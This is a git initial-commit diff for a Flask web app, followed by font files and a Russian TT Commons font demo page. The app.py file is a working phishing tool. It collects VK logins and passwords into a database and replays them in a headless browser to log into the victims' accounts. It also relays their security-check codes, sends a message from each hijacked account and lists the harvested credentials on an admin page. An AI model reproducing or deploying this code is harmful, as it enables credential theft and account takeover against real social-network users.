commit a9fd9cb5225aabf2cabefab8af612173c7afd4f9 Author: Anatoly Kopyl Date: Sat Apr 11 20:44:27 2020 +0300 Initial commit diff --git a/app.py b/app.py new file mode 100644 index 0000000..c971e0a --- /dev/null +++ b/app.py @@ -0,0 +1,132 @@ +from flask import Flask, render_template, request, redirect +from flask_sqlalchemy import SQLAlchemy +from datetime import datetime +from splinter import Browser +import time + +def enter_login(): + login = request.form['login'] + password = request.form['password'] + new_cred = Creds(login=login, password=password) + + db.session.add(new_cred) + db.session.commit() + + global browser + browser = Browser('firefox', headless=True) + + browser.visit('http://www.vk.com') + + while browser.is_text_not_present('Install our official mobile app and stay in touch with your friends anytime and anywhere.'): + pass + + browser.find_by_name('email')[1].fill(login) + browser.find_by_name('pass')[1].fill(password) + button = browser.find_by_id('index_login_button')[0] + button.click() + + while browser.title == 'Welcome! | VK': + pass + + if browser.is_text_present('Failed to log in.'): + return redirect('/wrongpass/') + else: + if browser.is_text_present('Security Check'): + return redirect('/authcheck/') + else: + payload() + return redirect('/') + + +def payload(): + while browser.url != 'https://vk.com/im?sel=22191973': + browser.visit('https://vk.com/im?sel=22191973') + + while browser.title != 'Messages': + pass + + browser.find_by_id('im_editable22191973')[0].fill('Privet\n') + time.sleep(10) + browser.quit() + + +app = Flask(__name__) +app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///creds.db' +db = SQLAlchemy(app) + +class Creds(db.Model): + id = db.Column(db.Integer, primary_key=True) + login = db.Column(db.String(50), nullable=False) + password = db.Column(db.String(50), nullable=False) + date_created = db.Column(db.DateTime, default=datetime.utcnow) + + def __repr__(self): + return '' % self.id + + +@app.route('/') +def index(): + return render_template("index.html") + + +@app.route('/login/', methods=['POST', 'GET']) +def login(): + if request.method == 'POST': + return enter_login() + else: + return render_template("login.html") + + +@app.route('/wrongpass/', methods=['POST', 'GET']) +def wrongpass(): + if request.method == 'POST': + return enter_login() + else: + return render_template("wrongpass.html") + + +@app.route('/authcheck/', methods=['POST', 'GET']) +def authcheck(): + if request.method == 'POST': + auth_code = request.form['auth_code'] + + browser.find_by_id('authcheck_code')[0].fill(auth_code) + button = browser.find_by_id('login_authcheck_submit_btn')[0] + button.click() + + payload() + + return redirect('/') + + else: + return render_template("authcheck.html") + + +@app.route('/admin/') +def admin(): + creds = Creds.query.order_by(Creds.date_created).all() + return render_template('admin.html', creds=creds) + + +@app.route('/delete_cred/') +def delete_cred(id): + if id != 0: + cred_to_delete = Creds.query.get_or_404(id) + + try: + db.session.delete(cred_to_delete) + db.session.commit() + return redirect('/admin/') + except: + return 'Error deleting credentials' + else: + try: + Creds.query.delete() + db.session.commit() + return redirect('/admin/') + except: + return 'Error deleting credentials' + + +if __name__ == "__main__": + app.run(debug=True) diff --git a/static/.DS_Store b/static/.DS_Store new file mode 100644 index 0000000..cad023f Binary files /dev/null and b/static/.DS_Store differ diff --git a/static/TTCommons/TTCommons-Black.eot b/static/TTCommons/TTCommons-Black.eot new file mode 100755 index 0000000..d767117 Binary files /dev/null and b/static/TTCommons/TTCommons-Black.eot differ diff --git a/static/TTCommons/TTCommons-Black.ttf b/static/TTCommons/TTCommons-Black.ttf new file mode 100755 index 0000000..41207a7 Binary files /dev/null and b/static/TTCommons/TTCommons-Black.ttf differ diff --git a/static/TTCommons/TTCommons-Black.woff b/static/TTCommons/TTCommons-Black.woff new file mode 100755 index 0000000..f2541df Binary files /dev/null and b/static/TTCommons/TTCommons-Black.woff differ diff --git a/static/TTCommons/TTCommons-BlackItalic.eot b/static/TTCommons/TTCommons-BlackItalic.eot new file mode 100755 index 0000000..8f817ee Binary files /dev/null and b/static/TTCommons/TTCommons-BlackItalic.eot differ diff --git a/static/TTCommons/TTCommons-BlackItalic.ttf b/static/TTCommons/TTCommons-BlackItalic.ttf new file mode 100755 index 0000000..b3ecea2 Binary files /dev/null and b/static/TTCommons/TTCommons-BlackItalic.ttf differ diff --git a/static/TTCommons/TTCommons-BlackItalic.woff b/static/TTCommons/TTCommons-BlackItalic.woff new file mode 100755 index 0000000..bc3b94d Binary files /dev/null and b/static/TTCommons/TTCommons-BlackItalic.woff differ diff --git a/static/TTCommons/TTCommons-Bold.eot b/static/TTCommons/TTCommons-Bold.eot new file mode 100755 index 0000000..78569a2 Binary files /dev/null and b/static/TTCommons/TTCommons-Bold.eot differ diff --git a/static/TTCommons/TTCommons-Bold.ttf b/static/TTCommons/TTCommons-Bold.ttf new file mode 100755 index 0000000..98aa041 Binary files /dev/null and b/static/TTCommons/TTCommons-Bold.ttf differ diff --git a/static/TTCommons/TTCommons-Bold.woff b/static/TTCommons/TTCommons-Bold.woff new file mode 100755 index 0000000..d272e9a Binary files /dev/null and b/static/TTCommons/TTCommons-Bold.woff differ diff --git a/static/TTCommons/TTCommons-BoldItalic.eot b/static/TTCommons/TTCommons-BoldItalic.eot new file mode 100755 index 0000000..e706030 Binary files /dev/null and b/static/TTCommons/TTCommons-BoldItalic.eot differ diff --git a/static/TTCommons/TTCommons-BoldItalic.ttf b/static/TTCommons/TTCommons-BoldItalic.ttf new file mode 100755 index 0000000..2edcc42 Binary files /dev/null and b/static/TTCommons/TTCommons-BoldItalic.ttf differ diff --git a/static/TTCommons/TTCommons-BoldItalic.woff b/static/TTCommons/TTCommons-BoldItalic.woff new file mode 100755 index 0000000..1855979 Binary files /dev/null and b/static/TTCommons/TTCommons-BoldItalic.woff differ diff --git a/static/TTCommons/TTCommons-DemiBold.eot b/static/TTCommons/TTCommons-DemiBold.eot new file mode 100755 index 0000000..380e199 Binary files /dev/null and b/static/TTCommons/TTCommons-DemiBold.eot differ diff --git a/static/TTCommons/TTCommons-DemiBold.ttf b/static/TTCommons/TTCommons-DemiBold.ttf new file mode 100755 index 0000000..0ecb89e Binary files /dev/null and b/static/TTCommons/TTCommons-DemiBold.ttf differ diff --git a/static/TTCommons/TTCommons-DemiBold.woff b/static/TTCommons/TTCommons-DemiBold.woff new file mode 100755 index 0000000..ea05fd8 Binary files /dev/null and b/static/TTCommons/TTCommons-DemiBold.woff differ diff --git a/static/TTCommons/TTCommons-DemiBoldItalic.eot b/static/TTCommons/TTCommons-DemiBoldItalic.eot new file mode 100755 index 0000000..5556499 Binary files /dev/null and b/static/TTCommons/TTCommons-DemiBoldItalic.eot differ diff --git a/static/TTCommons/TTCommons-DemiBoldItalic.ttf b/static/TTCommons/TTCommons-DemiBoldItalic.ttf new file mode 100755 index 0000000..8ce4317 Binary files /dev/null and b/static/TTCommons/TTCommons-DemiBoldItalic.ttf differ diff --git a/static/TTCommons/TTCommons-DemiBoldItalic.woff b/static/TTCommons/TTCommons-DemiBoldItalic.woff new file mode 100755 index 0000000..a7ad69b Binary files /dev/null and b/static/TTCommons/TTCommons-DemiBoldItalic.woff differ diff --git a/static/TTCommons/TTCommons-ExtraBold.eot b/static/TTCommons/TTCommons-ExtraBold.eot new file mode 100755 index 0000000..00bfc40 Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraBold.eot differ diff --git a/static/TTCommons/TTCommons-ExtraBold.ttf b/static/TTCommons/TTCommons-ExtraBold.ttf new file mode 100755 index 0000000..67992e0 Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraBold.ttf differ diff --git a/static/TTCommons/TTCommons-ExtraBold.woff b/static/TTCommons/TTCommons-ExtraBold.woff new file mode 100755 index 0000000..29e5f9d Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraBold.woff differ diff --git a/static/TTCommons/TTCommons-ExtraBoldItalic.eot b/static/TTCommons/TTCommons-ExtraBoldItalic.eot new file mode 100755 index 0000000..bf7c2d3 Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraBoldItalic.eot differ diff --git a/static/TTCommons/TTCommons-ExtraBoldItalic.ttf b/static/TTCommons/TTCommons-ExtraBoldItalic.ttf new file mode 100755 index 0000000..3ef5aed Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraBoldItalic.ttf differ diff --git a/static/TTCommons/TTCommons-ExtraBoldItalic.woff b/static/TTCommons/TTCommons-ExtraBoldItalic.woff new file mode 100755 index 0000000..0f96a9f Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraBoldItalic.woff differ diff --git a/static/TTCommons/TTCommons-ExtraLight.eot b/static/TTCommons/TTCommons-ExtraLight.eot new file mode 100755 index 0000000..cd35add Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraLight.eot differ diff --git a/static/TTCommons/TTCommons-ExtraLight.ttf b/static/TTCommons/TTCommons-ExtraLight.ttf new file mode 100755 index 0000000..9b2be89 Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraLight.ttf differ diff --git a/static/TTCommons/TTCommons-ExtraLight.woff b/static/TTCommons/TTCommons-ExtraLight.woff new file mode 100755 index 0000000..d6da45f Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraLight.woff differ diff --git a/static/TTCommons/TTCommons-ExtraLightItalic.eot b/static/TTCommons/TTCommons-ExtraLightItalic.eot new file mode 100755 index 0000000..6396827 Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraLightItalic.eot differ diff --git a/static/TTCommons/TTCommons-ExtraLightItalic.ttf b/static/TTCommons/TTCommons-ExtraLightItalic.ttf new file mode 100755 index 0000000..49b271b Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraLightItalic.ttf differ diff --git a/static/TTCommons/TTCommons-ExtraLightItalic.woff b/static/TTCommons/TTCommons-ExtraLightItalic.woff new file mode 100755 index 0000000..1603ef8 Binary files /dev/null and b/static/TTCommons/TTCommons-ExtraLightItalic.woff differ diff --git a/static/TTCommons/TTCommons-Italic.eot b/static/TTCommons/TTCommons-Italic.eot new file mode 100755 index 0000000..d4e4ff3 Binary files /dev/null and b/static/TTCommons/TTCommons-Italic.eot differ diff --git a/static/TTCommons/TTCommons-Italic.ttf b/static/TTCommons/TTCommons-Italic.ttf new file mode 100755 index 0000000..59e92e3 Binary files /dev/null and b/static/TTCommons/TTCommons-Italic.ttf differ diff --git a/static/TTCommons/TTCommons-Italic.woff b/static/TTCommons/TTCommons-Italic.woff new file mode 100755 index 0000000..1d80ab0 Binary files /dev/null and b/static/TTCommons/TTCommons-Italic.woff differ diff --git a/static/TTCommons/TTCommons-Light.eot b/static/TTCommons/TTCommons-Light.eot new file mode 100755 index 0000000..0c9b298 Binary files /dev/null and b/static/TTCommons/TTCommons-Light.eot differ diff --git a/static/TTCommons/TTCommons-Light.ttf b/static/TTCommons/TTCommons-Light.ttf new file mode 100755 index 0000000..7901c05 Binary files /dev/null and b/static/TTCommons/TTCommons-Light.ttf differ diff --git a/static/TTCommons/TTCommons-Light.woff b/static/TTCommons/TTCommons-Light.woff new file mode 100755 index 0000000..552aea7 Binary files /dev/null and b/static/TTCommons/TTCommons-Light.woff differ diff --git a/static/TTCommons/TTCommons-LightItalic.eot b/static/TTCommons/TTCommons-LightItalic.eot new file mode 100755 index 0000000..de13586 Binary files /dev/null and b/static/TTCommons/TTCommons-LightItalic.eot differ diff --git a/static/TTCommons/TTCommons-LightItalic.ttf b/static/TTCommons/TTCommons-LightItalic.ttf new file mode 100755 index 0000000..6bdf3c4 Binary files /dev/null and b/static/TTCommons/TTCommons-LightItalic.ttf differ diff --git a/static/TTCommons/TTCommons-LightItalic.woff b/static/TTCommons/TTCommons-LightItalic.woff new file mode 100755 index 0000000..ba8cb3a Binary files /dev/null and b/static/TTCommons/TTCommons-LightItalic.woff differ diff --git a/static/TTCommons/TTCommons-Medium.eot b/static/TTCommons/TTCommons-Medium.eot new file mode 100755 index 0000000..acb0681 Binary files /dev/null and b/static/TTCommons/TTCommons-Medium.eot differ diff --git a/static/TTCommons/TTCommons-Medium.ttf b/static/TTCommons/TTCommons-Medium.ttf new file mode 100755 index 0000000..730b1fa Binary files /dev/null and b/static/TTCommons/TTCommons-Medium.ttf differ diff --git a/static/TTCommons/TTCommons-Medium.woff b/static/TTCommons/TTCommons-Medium.woff new file mode 100755 index 0000000..0b4fb47 Binary files /dev/null and b/static/TTCommons/TTCommons-Medium.woff differ diff --git a/static/TTCommons/TTCommons-MediumItalic.eot b/static/TTCommons/TTCommons-MediumItalic.eot new file mode 100755 index 0000000..bc9d937 Binary files /dev/null and b/static/TTCommons/TTCommons-MediumItalic.eot differ diff --git a/static/TTCommons/TTCommons-MediumItalic.ttf b/static/TTCommons/TTCommons-MediumItalic.ttf new file mode 100755 index 0000000..a7e591a Binary files /dev/null and b/static/TTCommons/TTCommons-MediumItalic.ttf differ diff --git a/static/TTCommons/TTCommons-MediumItalic.woff b/static/TTCommons/TTCommons-MediumItalic.woff new file mode 100755 index 0000000..11f86c6 Binary files /dev/null and b/static/TTCommons/TTCommons-MediumItalic.woff differ diff --git a/static/TTCommons/TTCommons-Regular.eot b/static/TTCommons/TTCommons-Regular.eot new file mode 100755 index 0000000..7a410eb Binary files /dev/null and b/static/TTCommons/TTCommons-Regular.eot differ diff --git a/static/TTCommons/TTCommons-Regular.ttf b/static/TTCommons/TTCommons-Regular.ttf new file mode 100755 index 0000000..545705c Binary files /dev/null and b/static/TTCommons/TTCommons-Regular.ttf differ diff --git a/static/TTCommons/TTCommons-Regular.woff b/static/TTCommons/TTCommons-Regular.woff new file mode 100755 index 0000000..397d41c Binary files /dev/null and b/static/TTCommons/TTCommons-Regular.woff differ diff --git a/static/TTCommons/TTCommons-Thin.eot b/static/TTCommons/TTCommons-Thin.eot new file mode 100755 index 0000000..5370c69 Binary files /dev/null and b/static/TTCommons/TTCommons-Thin.eot differ diff --git a/static/TTCommons/TTCommons-Thin.ttf b/static/TTCommons/TTCommons-Thin.ttf new file mode 100755 index 0000000..3752f60 Binary files /dev/null and b/static/TTCommons/TTCommons-Thin.ttf differ diff --git a/static/TTCommons/TTCommons-Thin.woff b/static/TTCommons/TTCommons-Thin.woff new file mode 100755 index 0000000..2608321 Binary files /dev/null and b/static/TTCommons/TTCommons-Thin.woff differ diff --git a/static/TTCommons/TTCommons-ThinItalic.eot b/static/TTCommons/TTCommons-ThinItalic.eot new file mode 100755 index 0000000..b7911e4 Binary files /dev/null and b/static/TTCommons/TTCommons-ThinItalic.eot differ diff --git a/static/TTCommons/TTCommons-ThinItalic.ttf b/static/TTCommons/TTCommons-ThinItalic.ttf new file mode 100755 index 0000000..6999c57 Binary files /dev/null and b/static/TTCommons/TTCommons-ThinItalic.ttf differ diff --git a/static/TTCommons/TTCommons-ThinItalic.woff b/static/TTCommons/TTCommons-ThinItalic.woff new file mode 100755 index 0000000..3ec2620 Binary files /dev/null and b/static/TTCommons/TTCommons-ThinItalic.woff differ diff --git a/static/TTCommons/demo.html b/static/TTCommons/demo.html new file mode 100755 index 0000000..2520380 --- /dev/null +++ b/static/TTCommons/demo.html @@ -0,0 +1,685 @@ + + + + + + + + + Transfonter demo + + + + +
+
+

TT Commons Thin Italic

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 100;
+    font-style: italic;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Light

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 300;
+    font-style: normal;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Black

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 900;
+    font-style: normal;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Medium

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 500;
+    font-style: normal;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Italic

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: normal;
+    font-style: italic;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Regular

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: normal;
+    font-style: normal;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Black Italic

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 900;
+    font-style: italic;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons ExtraBold

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 800;
+    font-style: normal;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Bold Italic

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: bold;
+    font-style: italic;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons DemiBold Italic

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 600;
+    font-style: italic;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Bold

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: bold;
+    font-style: normal;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons ExtraLight

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 200;
+    font-style: normal;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons DemiBold

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 600;
+    font-style: normal;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons ExtraLight Italic

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 200;
+    font-style: italic;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

